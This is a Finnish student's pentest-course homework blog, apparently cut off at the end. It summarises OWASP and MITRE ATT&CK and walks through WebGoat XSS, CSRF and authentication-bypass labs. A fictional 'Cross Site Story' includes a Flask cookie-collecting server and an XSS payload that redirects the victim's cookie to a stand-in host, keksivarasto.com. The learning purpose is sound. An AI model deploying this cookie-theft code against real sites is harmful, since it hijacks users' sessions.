pentest

View on GitHub

Home | Start | H1 | H2 | Lunch | H3 | 🐍🥣🦈 | H4 | 4real | H5 | MI6 | H6 | se7en | H7 | End | Dev doc | + |

<– Takaisin etusivulle

h3: Attaaack!

Kurssisivu ja tehtävät: https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h3-attaaack

Sisällysluettelo

x) Lue/katso/kuuntele ja tiivistä

Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistä ranskalaisilla viivoilla.

€ Percival & Samancioglu 2020: The Complete Ethical Hacking Course: Chapter 21: Cross Site Scripting

Chapter 21: Cross Site Scripting (7 videota, noin 25 min)

OWASP 10 2017 PDF

A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting. Poimi kustakin kolmesta hyökkäyksestä, miten ne käytännössä tehdään

A2 Broken Authentication

Hyökkääjillä hallussa miljoonia käyttäjätunnuksia ja salasanayhdistelmiä (https://owasp.org/www-community/attacks/Credential_stuffing), default ylläpitotililistoja, automatisoituja brute force- ja sanakirjahyökkäyksiä. Istunnonhallintahyökkäykset ja vanhentumattomat istuntotokenit hyökkääjillä hyvin tiedossa.

Hyökkäystapoja:

A3 Sensitive Data Exposure

Hyökkääjät varastavat avaimia tai selkotekstistä dataa, tekevät man-in-the-middle hyökkäyksiä. Aiemmin saadut salasanatietokannat voidaan brute forcettaa näytönohjaimilla.

Hyökkäystapoja:

A7 Cross Site Scripting

Sisältää kolme tapaa jotka kohdistuvat yleensä uhrin selaimeen:

Hyökkäys tehdään yleensä validoimattoman ja sanitarisoimattoman käyttäjäsyötteen kautta. Hyökkääjä syöttää syöttökentän kautta hyökkäyksen kohdeohjelmistoon skriptin, jonka uhri suorittaa selaimessaan ollessaan yhteydessä häkättyyn kohdeohjelmistoon.

MITRE 2021: ATT&CK Enterprise Matrix - Tactic, Technique, Procedure

Selitä tiivistelmässä käsitteet tactic, technique, procedure. Selitä kukin taktiikka (tactic) ja anna kustakin taktiikasta esimerkkitekniikka (technique tai subtechnique)

Kuten lounastauolla tuli jo tutuksi, taktiikat ovat yläkäsite, se mitä hyökääjä tavoittelee, tekniikat kuinka hyökkääjä sen tekee ja proseduuriesimerkit todellisia tapahtumia missä tekniikkaa on käytetty spesifillä tavalla. Proseduurit ovat tekniikoiden todellisia spesifejä sovelluksia.

Taktiikka: Tiedustelu (Reconnaissance)

Tiedusteluvaiheessa hyökkääjä kerää tietoa jatko-operaatioiden suunnittelemiseksi.

Taktiikka: Resurssien kokoaminen (Resource Development)

Resurssien kokoamisen aikana hyökkääjä kerää, kehittää, ostaa, varastaa, tms. muin keinoin haalii resursseja operaatioidensa tueksi.

Taktiikka: Sisäänpääsy (Initial Access)

Hyökkääjä pyrkii sisään kohdeverkkoon.

Taktiikka: Suorittaminen (Execution)

Hyökkääjä pyrkii ajamaan vihamielistä koodia kohteen lokaaleissa tai etäjärjestelmissä.

Taktiikka: Säilyminen (Persistence)

Hyökkääjä pyrkii pitämään jalansijansa kohdejärjestelmissä salasanavaihdoista, uudelleenkäynnistyksistä jne. huolimatta.

Taktiikka: Käyttöoikeuksien kasvattaminen (Privilege Escalation)

Hyökkääjä pyrkii kasvattamaan käyttöoikeuksiaan.

Taktiikka: Piiloutuminen (Defense Evasion)

Hyökkääjä pyrkii piileskelemään kohdeverkossa tai -järjestelmissä.

Taktiikka: Tunnistetietojen käyttö (Credential Access)

Hyökkääjä pyrkii varastamaan salasanoja ja käyttäjänimiä.

Taktiikka: Kartoittaminen (Discovery)

Hyökkääjä pyrkii hahmottamaan kohdeympäristöä suunnitellakseen jatko-operaatioita.

Taktiikka: Ympäristössä liikkuminen (Lateral Movement)

Hyökkääjä liikkuu ympäristössä saavuttaakseen tavoitteensa tai etua jatko-operaatioihin.

Taktiikka: Datan kerääminen (Collection)

Hyökkääjä kerää dataa tavoitteensa saavuttamiseksi.

Taktiikka: Hallinta (Command and Control)

Hyökkääjä kommunikoi vaarantuneiden järjestelmien kanssa saavuttaakseen niiden hallinnan.

Taktiikka: Datan varastaminen (Exfiltration)

Hyökkääjä pyrkii kotiuttamaan keräämänsä datan kohdejärjestelmästä. Exfil eli datan evakuointi. Termeistä huomaa että hakkeroinnilla (ja tietoturvalla) on vahvat konnotaatiot sotaleikkeihin (ja tiedusteluun/vakoiluun).

Taktiikka: Vaikuttaminen (Impact)

Hyökkääjä pyrkii manipuloimaan, häiritsemään tai tuhoamaan kohdejärjestelmiä tai kohdedataa.

z) Cross Site Story

Kirjoita kuvitteellinen esimerkki XSS-hyökkäyksestä. Tee mahdollisimman yksinkertainen esimerkki. Voit vaikkapa ottaa haltuun weppisivun ylläpitäjän oikeudet viemällä keksin. Tässä alakohdassa ei tarvitse tehdä mitään tietokoneella, pelkkä tarina riittää. Tarkoituksena on ymmärtää XSS-hyökkäyksen kokonaisuus ennen sormiharjoituksia. Voi halutessasi myös piirtää itse kaavion / sarjakuvan.

Tarinan tausta

Traaginen postmoderni tarina Cross Site Story sijoittuu kaikille tuttuun miljööseen, Internettiin. Tarina on monelle tuttu, sillä se on OWASP TOP 10:ssä 2017 sijalla seitsemän ja vuonna 2019 tehdyn tutkimuksen mukaan yli 60% verkkosivuista oli XSS-hyökkäykselle alttiita.

Tarinassa on käytetty lähtökohtana tehtävänannon esimerkkiä verkkosivun ylläpitäjän keksin varastamisesta ja Laur Telliskiven blogipostausta aiheesta. Keksivaras kertoo palvelimelle tallennetusta, stored XSS-hyökkäyksen tyypistä (muita olivat DOM eli verkkosivulle dynaamisesti lisätty vihamielinen skripti ja reflected eli käyttäjän selaimessa tapahtuva XSS). Yksinkertaisempi heijasteinen (reflected) XSS-hyökkäys esimerkki voidaan kuvata näin aiemman tehtävän perusteella:

<script>alert("I hack you")</script>

Esityksen entiteetit

Näytelmässä ei ole kivoja rooleja jaossa, vaan tämä on varoittava esimerkkitarina.

Keksivaras

Tee selväksi ja erottele

  • Mitä hyökkääjä tekee

  • Mitä kohdehenkilö tekee

  • Mitä sivua / palvelinta kohdehenkilö surffailee

  • Mitä sivua / palvelinta kohdehenkilö surffailee

  • Missä JavaScriptit ajetaan

  • Miten keksi päätyy hyökkääjälle

  • Miten hyökkääjä hyödyntää keksiä?

  • Mitä hyökkääjä pääsee tekemään (mikä ei onnistuisi ilman hyökkäystä)?

Istunto- ja autentikointikeksit sisältävät tietoa käyttäjän sivukäynnistä (kuinka, milloin?) ja käyttäjästä itsestään (käyttäjänimi, salasana). Keksivarkaan ensimmäinen tehtävä on pystyttää oma varastettujen keksien varastona toimiva verkkopalvelin http://keksivarasto.com. Keksivaras käyttää Pythonin verkkopalvelin framework Flaskia.

# ... enemmän koodia

def keksi():

    # Siepataan keksi ja kirjataan se keksit.txt tiedostoon
    
    keksi = request.args.get('c')
    f = open("keksit.txt","a")
    f.write(keksi + ' ' + str(datetime.now()) + '\n')
    f.close
    
    # Ohjaa uhri takaisin haavoittuvalle sivulle    
    
    return redirect("http://haavoittuvasivu.fi/")
    
# ... lisää koodia
  app.run(host = '0.0.0.0', port=5000) # 0.0.0.0 kuuntelee kaikkia julkisia IP:tä
<script type="text/javascript">document.location="http://keksivarasto.com:5000/?c="+document.keksi;</script>

Tee ja raportoi: a) Vuohen uudet seikkailut

Ratkaise WebGoatista tehtävät

Alkutoimet

Joudun aloittamaan tehtävän uudella WebGoatin asennuksella koska lapsi meni pesuveden mukana kun poistin turhia koneita VB:stä viime kerran jälkeen. Aloitan importtaamalla Kali Linux VB:hen ja seuraamalla jälleen opettajan ohjeita: https://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target/.

Vaihdetaan ensin kuitenkin näppäimistö Keyboard -> Layout -> Edit -> eng -> fi ja salasana: passwd sudo passwd

Sitten ajetaan update ja vaihdetaan rootiksi: sudo apt-get update sudo -i

Asennetaan Java ja UFW palomuuri apt-get -y install openjdk-11-jre ufw

Laitetaan palomuuri päälle ja kielletään kaikki sisääntuleva liikenne ufw enable ufw default deny incoming

Asennetaan WebGoat jälleen Kalina exit Ladataan WG wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M26/webgoat-server-8.0.0.M26.jar Asennetaan WG java -jar webgoat-server-8.0.0.M26.jar

Vika komento myös käynnistää WG:n, mennään selaimessa http://localhost:8080/WebGoat/ ja rekisteröidään uusi vuohi.

Proxy - ZAP

Tehtävässä tarvitaan todennäköisesti välityspalvelinta eli proxyä. Ensimmäisellä kerralla asensimme sen onnistuneesti WG:n omia ohjeita seuraamalla. Katsotaan millaista muuta ohjetta olisi tarjolla, sillä porttiasetukset jäivät viime kerralla hieman hämäriksi. Eli toisin kuin ekalla asennuksella kuvittelin, proxyn tulee nimenomaan olla omassa portissaan eikä pyöriä samassa portissa muiden ohjelmistojen kanssa - kuinka se olisi edes mahdollista? n00bin ajatuspieru ja l33tin facepalm tähän.

Aloitetaan orientoivalla videoilla: https://www.youtube.com/watch?v=ICPqz1Al9fk ja https://www.youtube.com/watch?v=TyhaA3DJ5oM

Firefoxin (Kalin oletusselain) proxy säädetään Preferences –> Proxy –> Settings –> Manual proxy. HTTP Proxy: localhost (edit: muutettu ip-muotoon: 127.0.0.1), Port: 8090. Raksitaan myös https/ftp yhteyksille WG:n ohjeiden mukaan. Lisäksi Firefoxin uudet versiot ( >=v.67 ) vaatii asetuksen network.proxy.allow_hijacking_localhost = true, sinne pääsee selaimessa about:config sivulta.

Koska proxyn manuaalinen päälle pistäminen ja poistaminen vaikutti työläältä viime kerralla asennetaan FoxyProxy selainlaajennus. Asennusta varten otin proxyn pois päältä. Myös FoxyProxy vaatii proxy-asetusten säätämisen: Add –> Proxy Type: “HTTP”, Proxy IP address or DNS name: “127.0.0.1”, Port: “8090” ja Save.

FoxyProxyn käyttö vaatii Firefox preferences –> Proxy –> Settings –> Manual proxyn vaihtamisen –> No proxy. Nyt FF asetusten sijasta selainlaajennus huolehtii proxyn päälle ja pois.

foxyproxy.PNG

ZAP:ssa Tools –> Options –> Local Proxies. Localhost 8090.

Suodatetaan WebGoatin taustaliikenne pois ohjeiden mukaan: URL Inc Regex: http://localhost:8080/WebGoat/.* Eli näytä ZAP:ssa kaikki localhostissa portissa 8080 /WebGoat/ polussa tapahtuva liikenne ja suodata pois URL Exc Regex: .*/WebGoat/service/.*mvc eli kaikki WebGoat/service liikenne missä tiedostopääte mvc.

Suodatus käyttää regexiä eli regular expressionsia joka on oma taiteenlajinsa jota ilman ei voi paljoa hakkerointia harrastaa. Aihe on entuudesta tuttu ja sitä on tullut tavattua jo vähän muttei tarpeeksi.

Viimein välityspalvelimen asetukset ovat valmiit! Sitten on opeteltava käyttämään OWASP ZAP:ia. WebGoat antaa vihjeitä kuinka tehtävä tulee ratkaista, mutta että ZAP:ssa saa valittua oikeat näkymät sen tekemiseksi?

A2 Broken authentication:

Authentication bypasses: 2 2FA Password Reset

Katsotaan ensin mitä ZAP tallentaa kun tehtävän lomakkeessa lähettää jotain tietoa. “Sites” osioon tulee auth-bypass -kansio ja sinne POST-methodina lähetetty verify-account() funktio. Sitä klikkaamalla avautuu POST-requestin header ja body. Bodyssa on meitä kiinnostava osuus: secQuestion0=ope&secQuestion1=jns&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746. Eli tehtävänannon mukaisesti poistetaan secQuestion 0 ja 1.

1. ongelma. En ollut painanut ZAP:n vihreää pylpyrää ja nauhoitusta päälle, joten en voinut muokata requestin bodya. Painetaan pylpyrä päälle ja lähetetään verkkosivulta sama vastaus kyselyyn. Sitten takaisin ZAP:ssa “Submit and step next request or next response” nuolinäppäintä, joka on mallia: |> Pari kertaa nuolta painamalla päästään POST requestiin ja sen bodyyn secQuestion0=ope&secQuestion1=jns&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746. Poistetaan turvakysymykset vastauksineen kuten ohjeistettu ja jätetään jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746. Painetaan nuolta seuraavaan vaiheeseen. Tulee HTTP OK jossa body lessonCompleted false ja WG näyttää myös ettei mennyt läpi. Klikkaillaan kuitenkin pari kertaa vielä eteenpäin ja sitten painetaan toista nuolta > joka lopettaa ilmeisesti nauhoituksen koska pylpyrä muuttuu jälleen vihreäksi. Nauhoituksen ollessa päällä se on punainen.

Hmm. Näen nyt kuitenkin uuden POST-requestin, sen mitä juuri muokkasin. Pistetään jälleen nauhoitus päälle pylpyrästä ja klikataan pari kertaa steppiä eteenpäin |> nuolesta. Ei sen suurempaa onnea. Eli mielestäni minun pitäisi lähettää tämä requesti sivulle. Ehkä pitää valita modattu request sivuvalikosta ja painaa request? Kokeilin pari kertaa request-painiketta. Painetaan sitten nauhoitus päälle ja toistetaan sama modatun POST-requestin ollessa valittuna sivuvalikossa. Nyt steppi eteenpäin painamalla näkyy että “complete”: true. WG:n sivu pysyy vielä samana mutta en ole refressannut sitä. Painetaan pari kertaa steppiä eteenpäin ja nähdään että “solved”: false. Ja sama näkyy myös jos klikataan request välilehdeltä response välilehdelle.

Jostakin syystä WG on muuttunat urlissa http:n https:ksi ja se on varmasti liian edistynyttä tähän vaiheeseen. Lisäksi WG ei päivitä sivua enää, se vaikuttaa jäätyneeltä. Poistetaan ZAP:sta Sites-kansiot ja käynnistetään WG uudestaan, yritetään tehtävää alusta.

2. yritys. Varmistetaan että WG Katsotaan tässä vaiheessa joku ohje. Ymmärrän siis perusidean, mutta en ymmärrä kuinka ZAP:ia käytetään, kuinka saan lähetettyä oman muokatun POST-requestini. Käynnistetään WG terminaalissa java -jar webgoat-server-8.0.0.M26.jar ja ZAP on päällä. WG ei tunnu aukeavan. Pistetään ZAP:sta nauhoitus pois päältä ja kokeillaan urlia /WebGoat/ /WebGoat/login sijasta. Nyt taas tuntuu toimivan. Jostain syystä WG pakottaa https:n päälle.

Katsotaan esimerkin ratkaisu niin teknisesti kelvottomalta YouTube-videolta että en sitä kenenkään riesaksi halua edes linkittää. Eli ainakin secquestioneja muokkaamalla tehtävän saa läpi secQuestion00=ensin+perusteet&secQuestion01=sitten+soveltaminen%2C+plz&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746. Sitten muokkauksen jälkeen painettiin > nuolta, mutta mielestäni |> nuolen renkuttaminen ajaa saman asian, se on vaan hitaampaa. Kokeillaan vielä toimiiko kysymysten ja verifyMethodin poistaminen kokonaan. Ei toimi, responsessa lukee:

  "status" : 400,
  "error" : "Bad Request",
  "message" : "Required String parameter 'verifyMethod' is not present",

No olipas nyt vähän turhan kikkaileva aloitus ZAP:iin tutustumiseen, kun koko ohjelmiston käyttäminen on vierasta. Mutta tosiaan turvakysymyksiä ei voi kokonaan poistaa toisin kuin tehtävä ohjeistaa, vaan niitä on vain modifioitava. Huoh. Tämä olisi pitänyt oivaltaa responsesta selvästi, ja aiemmista esimerkeistä.

broken auth request.PNG

broken auth response.PNG

A3 Sensitive data exposure: Insecure Login: 2 Let’s try

Tässä tehtävässä tarvitaan packet snifferiä. Tiedän että WireShark on sellainen (jota en ole koskaan opetellut käyttämään), mutta en tiedä ajaako ZAP saman asian. Toisaalta huomasin jo ensimmäisen viikon tehtävissä että ZAP kaappasi käyttäjätunnuksen ja salasanani kirjautuessani WG:hen. Haen asialle harharetkien välttämiseksi verkosta, kyllä ZAP:n pitäisi riittää. Laitetaan nauhoitus päälle ja syötetään joku käyttäjätunnus ja salasana syöttökenttään. Klikkaillaan yksi steppi kerrallaan eteenpäin uutta GET:InsecureLogin.lesson.lessonia Sites-sivuvalikossa, joka ilmestyy sinne kun syötän sivulle tunnistetiedot ja klikkaan sumbit ja login. Parin klikin päässä on Break jonka body on {"username":"CaptainJack","password":"BlackPearl"}. Nämä eivät ole minun syöttämäni arvot, joten näiden täytyy olla oikeat arvot. Kokeillaan niitä tehtävään. Painetaan ensin play > että sivun käyttö jälleen mahdollistuu. Syötetään kaapatut arvot syöttökenttiin ja voilà, läpi menee.

sens data exp.PNG

Eli kaappasimme ZAP:lla POST requestin. Miksi väärät tunnistetiedot syöttämällä sivu tarjoaa todellisia tunnistetietoja jää hämäräksi. En ymmärrä tehtävän logiikkaa. Tiedostan myöskin että WireSharkin harjoittelun viivästyttäminen tulee puremaan minua takapuoleen vielä jossakin vaiheessa kurssia.

A7 Cross Site Scripting (XSS): 2 What is XSS?

Avataan ohjeen mukaisesti toinen välilehti WG:hen. Kopioidaan javascript:alert(document.cookie); ja syötetään urliin. Kokeillaan “xss test” document.cookien sijasta. Otetaan proxy pois päältä. Ei vastauksia. Jahas WG oli ollut sen aikaa pois käytöstä että se oli jäätynyt. Silti sama radiohiljaisuus.

Kokeillaan consolessa tämän stackexchange.comin ohjeen pohjalta: alert(document.cookie); ja saadaan vastaus jossa mm. istunnon id: JSESSIONID=I3TwzmS474ttSPeY25sJH_EnPRxi3IJr6GNXANV0; Kyseisellä cookiella on on header HttpOnly: false kuten ilmeisesti edellytys onkin. Eli cookie JSESSIONID:n tarkastaminen ja “yes” riitti vastaukseksi, vaikka hämäräksihän ongelma vielä jäikin. Eli WebGoat tunnistaa minut samaksi henkilöksi molemmissa välilehdissä cookien ansiosta. Jos joku kaappaisi keksin ja käyttäisi sitä, voisi operoida minun tunnistetiedoilla WG:ssä.

Eli js-skriptit toimivat consolessa ajaessa, mutta suoraan urlissa Kalin oletusselaimella eivät.

En tiedä onko kyse selaimien uusista asetuksista, toivottavasti tehtävien läpikäynti tuo tähän vastauksenm jatkogooglettelu ei tuo vastausta nopeasti ja tehtäviä vielä riittää…: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection.

A7 Cross Site Scripting (XSS): 7 Try It! Reflected XSS

Eli tehtävässä on ostoskori ja syöttökentät luottokorttinumero ja access code. Developer toolsien Storage välilehdeltä löytyy cookie access_token. Sen voisi printata Console välilehden alert(document.cookie) komennolla. Sen arvo on kuitenkin tyhjä. Hmm. Sitten kokeillaan <script>alert("injektoitavissa")</script> molempiin syöttökenttiin. Huomataan ilmoitus:

“Seems like you tried to compromise our shop with an reflected XSS attack.
We do our… “best”… to prevent such attacks. Try again!”

Eli nyt ollaan lähellä. Ymmärretään poistaa alemmassa syöttökentässä oleva scripti ja laitetaan siihen joku oikea arvo 111, ja sitten ylemmän syöttökentän scripti menee läpi. Eli kuten injektioissa XSS hyökkäyksissä käyttäjäsyötteet mahdollistivat hyökkäyksen.

WG XSS.PNG

XSS harjoituksia jää WG:ssä vielä kolme syssymmälle, mutta tämä tehtävä jonka onnistuin kerrankin suorittamaan ilman ulkopuolisia ohjeita oli tällä haavaa tässä.

A8:2013 Request Forgeries: Cross-Site Request Forgeries

Hämmentyneen apulaisen hyökkäys. CSRF on “Confused Deputy” hyökkäys ja tunnetaan nimillä one-click attack ja session riding, ja vielä lisäksi joskus äännetään “sea-surf”. Sen ominaispiirteet ovat:

A8:2013 Request Forgeries: 3 “Basic Get CSRF Exercise”

Luetaan tehtävänanto ja klikataan suoraan vihjettä, eli lomakkeessa on piilotettu syöttökenttä. Tällaisia piilotettuja syöttökenttiä voidaan käyttää verkkosivuilla esimerkiksi honeypotteina spämmiboteille. Selataan DOMia ja löydetään display: none:lla piilotettuja elementtejä, pistetään display: block. Ainaskin paljon tekstiä jos ei syöttökenttää. Tekstissä on ohjeita hyökkäysten torjumiseksi. Laitetaan toisellekin blokille sama. Ylempää löytyy sitten lisää ohjeita: avaa uusi täbi WG:hen ja tee uusi käyttäjä samalla tunnuksella mutta laita sen etuliitteeksi csrf- ja loggaa sisään.

Luodaan uusi käyttäjä csrf-verkkovuohi ja kirjaudutaan sisään. Koska olen nopeudeltani aivan boomer tietokoneiden kanssa on aiempi käyttäjä jo loggautunut ulos kun saan uuden käyttäjän valmiiksi. Aloitan tehtävän alusta ja huomaan nyt että piilotettua matskua DOM:ssa oli enemmänkin. Nyt saan jonkun kissakuvan ja lisää tekstiä. Jahas nyt pitää arvioida applikaatiota. Mitähän he** tehtävässä on tarkoitus tehdä. Täytän lomakkeen vaan jollakin arvoilla testatakseni sitä, saan Whitelabel errorin.

Ermmm…

Palataan selaimessa taaksepäin, katsellaan lisää DOM:ia, yritetään löytää se alkuperäinen syöttökenttä. Katsotaan kuitenkin ensin onko nyt löydetyt piilotetut elementit myöhempien vaiheiden tehtäviä. On. Kissa tulee vasta seuraavassa vaiheessa, post a review… Entäpäs se aiemmin löydetty ohje uuden käyttäjän tekemisestä? Selataan tehtävä loppuun. Sekin on vasta myöhäisempi vaihe tehtäväsarjassa. Jahas nonin aloitetaan alusta.

Jaaa, piilotettu kenttä olikin Submit Query painikkeen vieressä. Sen type on “hidden”, name csrf ja arvo false. No muutetaan true syöttökentässä. Ei mene läpi. Muutetaan true:ksi domissa? Ei hyödytä. Katsotaan tässä vaiheessa esimerkkiratkaisu, joka perustuu url:n parametrien muokkaamiseen. Mutta meidän queryn urlissa parametreja ei ole: http://localhost:8080/WebGoat/csrf/basic-get-flag ja JSON data näyttää tältä:

{
  "flag" : null,
  "success" : false,
  "message" : "Appears the request came from the original host"
}

Hmm. Kuinka voidaan muuttaa lähettäjän tietoja… katsotaan Headerit:

Response Headers
  Connection: keep-alive
  Content-Type: application/json
  Date: Sat, 13 Nov 2021 16:33:11 GMT
  Transfer-Encoding: chunked
  X-Content-Type-Options: nosniff
  X-Frame-Options: DENY
  X-XSS-Protection: 1; mode=block

Request Headers
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.5
  Connection: keep-alive
  Content-Length: 29
  Content-Type: application/x-www-form-urlencoded
  Host: localhost:8080
  Origin: http://localhost:8080
  Referer: http://localhost:8080/WebGoat/start.mvc
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Trigger the form below from an external source while logged in. The response will include a ‘flag’ (a numeric value).

Hmmmhh.. eli ZAP:lla? Postmanillahan voisin tehdä POST requestin, ehkä ZAP:lla onnistuu sama? Otetaan lomakkeen tiedot talteen.

<form accept-charset="UNKNOWN" id="basic-csrf-get" method="POST" name="form1" target="_blank" successcallback="" action="/WebGoat/csrf/basic-get-flag" enctype="application/json;charset=UTF-8">
    <input name="csrf" type="text" value="true">
    <input type="submit" name="submit">
</form>

WebWolf

Sivun alalaidassa on WebWolf-kuvake. Lisää ratkaisuja etsimällä näyttää selvältä, että sitä on tarkoitus käyttää. Ainakin sitä voi käyttää tehtävän ratkaisemiseen, tehtäväthän voi häkätä monella tavalla. Mutta kuten WebGoat kokonaisuutena, myös WebWolfiin tuntuu olevan nihkeästi dokumentaatiota. Jos jollakin on parempaa tietoa WG:n käytöstä kuin YouTuben rätisevät mahdottomalla englannin aksentilla nauhoitetut mongerrukset olisin iloinen. Viimein löytyy https://docs.cycubix.com/web-application-security-essentials/webgoat-8/about-webwolf.

Ensinnäkin meidän pitää asentaa WebWolf.

Haetaan WebWolf: wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webwolf-8.2.2.jar

Käynnistetään WebWolf: java -jar webwolf-8.2.2.jar

Ei käynnisty, WebWolf käyttää tuoreempaa Javaa. Kokeillaan ladata vanhempi WW versio mikä synkkaa ehkä paremmin sit WG:n kanssakin? WG:n versio oli 8.0.0, etsitään se versioista: https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M26/webwolf-8.0.0.M26.jar ladataan ja käynnistetään kuten yllä, mutta versionumero 8.0.0.M26 päivitettynä, tai downgradettuna.

Käynnistyy, phew. Portti oli defaulttina 9090. Kokeillaan kirjautua sisään WG tunnuksilla: http://localhost:9090/login Läpi menee, tallennetaan WG:n salasana selaimeen WW:lle.

Seuraavaksi täyttä esimerkkivideon apinointia: https://www.youtube.com/watch?v=4sQjhU6HqtA

Tallennetaan lomake mikä otettiin aiemmin talteen html-tiedostona Kalin työpöydälle fake.html ja viedään WebWolfin palvelimelle Files osioon “Upload files”:llä. Toimiva tiedosto näytti muokattuna viimein tältä (action attribuutin absoluuttinen tiedostopolku ja type ja value muokattu alkuperäisiksi):

<form accept-charset="UNKNOWN" id="basic-csrf-get" method="POST" name="form1" target="_blank" successcallback="" action="http://localhost:8080/WebGoat/csrf/basic-get-flag" enctype="application/json;charset=UTF-8">
    <input name="csrf" type="hidden" value="false">
    <input type="submit" name="submit">
</form>

Nyt saamme arvoksi true ja flag nroksi 57178. Sen syöttämällä lomakkeeseen harjoitus menee läpi. Tätä tarvitsee sulatella.

WebWolf capture flag.PNG

CSRF congrats.PNG

A8:2013 Request Forgeries: 4 “Post a review on someone else’s behalf”.*

Seuraavaksi pitäisi kirjoittaa arvostelu loggautuneen käyttäjän eli “verkkovuohi” puolesta. Eli varmaankin nyt tulisi käyttöön istuntokeksi? Katsotaan miten kommenttilomake rakentuu ja millaisen POST-requestin se lähettää. Kopioidaan jälleen sivun formi omaksi tiedostoksi joka houstataan WW:ssä:

<form class="attack-form" accept-charset="UNKNOWN" id="csrf-review" method="POST" name="review-form" successcallback="" action="/WebGoat/csrf/review">
    <input class="form-control" id="reviewText" name="reviewText" placeholder="Add a Review" type="text">
    <input class="form-control" id="reviewStars" name="stars" type="text">
    <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
    <input type="submit" name="submit" value="Submit review">
</form>

Kuten edellisessä tehtävässä aluksi tulee Whitelabel error koska en muuttanut vielä action pathia absoluuttiseksi. Tehdään se. Nyt lomake tulee näkyviin mutta sen submittaaminen saa aikaan whitelabel errorin. Hmmm kokeillaan ensin lähettää oikea lomake. Lisätään enctype=”application/json;charset=UTF-8”. Myös arvot pitää lähettää oikeassa muodossa, name=”stars” on oltava numeroarvo. Kokeillaan vielä poistaa enctypekin tämän jälkeen, koska sivun lomakkeessakaan sitä ei ollut.

Eli absoluuttinen polku ja oikeassa muodossa lähetetty reviewStars syöttökenttäarvo olivat avaimet onneen, idea oli sama kuin edellisessäkin tehtävässä.

{
  "lessonCompleted" : true,
  "feedback" : "It appears you have submitted correctly from another site. Go reload and see if your post is there.",
  "output" : null
}

Tee ja raportoi: b) Attakin alatekniikat

Demonstroi kaksi (2) alatekniikkaa (subtechnique) ATT&CK kehikosta. Tässä pitää siis käyttää näitä käytännössä johonkin harjoitusmaaliin. Voit käyttää haluamiasi valmiita työkaluja tai koodata / skriptata itse. Voit valita valmiin harjoitusmaalin tai tehdä sen itse. Muista, että myös tiedustelussa pitää noudattaa lakia, etiikkaa, rajauksia (scope) ja hyviä tapoja.

Alkusanat

Olemme harjoittaneet aiemmin tiedustelua (Recoinnassance) ja sisäänpääsyä (Initial Access) Metasploitablea vastaan, ja pelkkää tiedustelua NullByte virtuaalikonetta vastaan. Aiemmin tunnilla esitettyjä esimerkkejä taktiikoista tämän jälkeen ovat olleet piileskely (Defense Evasion), ympäristössä liikkuminen (Lateral Movement) ja tunnistetietojen käyttö (Credential Access). Kaikki näistä vaikuttaisivat luonnollisilta harjoituskohteilta.

Mikä olisi opettavaisinta? Mikä olisi rajallisen ajan puitteissa hyvä seuraava harjoitus? Tutkitaan mitä aiemmin vastaantulleet taktiikat tiedustelu, sisäänpääsy, piileskely, ympäristössä liikkuminen ja tunnistetietojen käyttö tarjoavat Att&ckissa alatekniikoiksi. Näistä on nyt edes ehkä jonkinlaista kokemusta esimerkkien seuraamisen muodosssa. Ja ehkä resurssien kokoaminen (Resource Development) voisi tarjota aloittelijalle jotain iloa?

Esimerkkejä jo käytetyistä alatekniikoista

Tiedustelu:

Resurssien kokoaminen:

Mahdollisia alatekniikoita testattavaksi

Discovery:

Impact:

Metasploitin ja Metasploitablen käyttö vaikuttavat luonnollisilta vaihtoehdoilta, vaikka vulnhubista löytyisi varmasti lisää koneita. Katsellaan orientaatioksi Metasploitable 2 walkthroughta: https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/ ja https://www.youtube.com/watch?v=cGg889St6fg

Voisi tehdä (dokumentoida, tein jo videon mukana) sanakirja hyökkäyksen ssh:ta vastaan john the ripperillä: https://securityaspirations.wordpress.com/2017/07/04/metasploitable-2-password-hash-cracking-with-john-the-ripper/. Rapid7 dokumentaatiossa olevat monetkaan hyökkäykset eivät toimineet sellaisenaan Kalilla ja sen Metasploit v.6:lla. Ehkä tässä on tarpeeksi alkuhaistelua tehtävälle. Palaan seuraavaksi aiempaan tehtävään ja tekemään Mitren Att&ckin taktiikoihin kuuluvat alatekniikat. Valitsen sieltä sitten sopivat kaksi alatekniikkaa nyt tämän alkupohdinnan jälkeen.

Muuta muistiinpanoa:

(This is) SPARTA(aaaaaaaa)!

https://samsclass.info/124/proj14/p18xLPE.htm

Seurataan tätä blogia, koska siinä on kivasti selitetty kerrankin heti mihin pyritään ja miten. Eli käytetään spartaa haavoittuvien palveluiden tunnistamiseen. Luetaan lisää SPARTA:sta. Kyseessä graafisen käyttöliittymän Python työkalu joka tulee asennettuna Kalissa. Tsekataan: sparta -v ja python-requests mutta molemmat command not found. Jahas. Pitäisi päästää Kali nettiin SPARTA:n asentamiseksi. Koska ollaan niin nössöjä laiteaan Metasploitable pois päältä siksi aikaa vaikka sillä ei pitäisi olla mitään tekemistä Kali-koneen turvallisuuden kanssa, jonka portit oli suljettu. Olihan ne suljettu? Skannataan ensin Kali-kone nmapilla ennen kuin päästetään sitä nettiin: nmap 192.168.233.5. host up ports closed, great. Paranoian juostessa villinä katsotaan vielä että muistettiin koneen ip oikein ifconfig, kyllä. Katsotaan palomuuriasetukset vielä ufw show status verbose, deny all incoming, great. Ermmm… tajutaan Kalissa on edelleen default tunnistetiedot käytössä. Vaihdetaan salasanat tässä vaiheessa, passwd ja sudo passwd. Päästetään Kali nettiin, sillähän oli asetettuna jo toinen verkkokortti nettiä varten, nyt vaan 